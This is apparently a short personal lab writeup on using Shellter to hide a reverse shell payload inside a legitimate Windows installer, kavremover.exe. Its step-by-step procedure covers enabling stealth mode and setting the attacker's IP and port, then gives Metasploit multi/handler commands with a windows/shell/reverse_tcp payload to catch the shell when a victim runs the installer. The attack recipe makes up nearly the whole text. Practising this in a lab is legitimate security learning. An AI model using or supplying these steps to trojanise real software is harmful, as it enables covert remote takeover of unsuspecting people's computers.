Using Shellter to hide a reverse shell payload.

For my setup, I had to install Wine and then run Shellter using sudo. Shellter is nice enough to display the commands needed to install Wine.

sudo shellter

Select A (Auto).
Select the binary location.
Shellter will then run through various ways to detect an area that it can hide the reverse shell.

Enable Stealth Mode.
Select “L” for listed payloads. If you have a custom one, choose “C” instead.
Set the kali IP and desired port.

Shellter will then create the payload and insert it into the program.

Copy the modified version of kavremover.exe to the Windows/victim machine.

On Kali, start Metasploit multi handler and reverse payload, then set your values, then run the handler.

use exploit/multi/handler
set payload payload/windows/shell/reverse_tcp

On the Windows machine, we run the installer as normal.

Catching the reverse shell

Conclusion
Using a program like Shellter can make quick work of packing malicious scripts into legitimate programs. The entire process took less than five minutes and limited technical knowledge is needed to make this an effective process. I can’t seem to wonder how many reverse shells or nasty things were on my computer as a kid thanks to torrent downloads or other freeware software.

I hope that you enjoyed this writeup. Until next time, take care.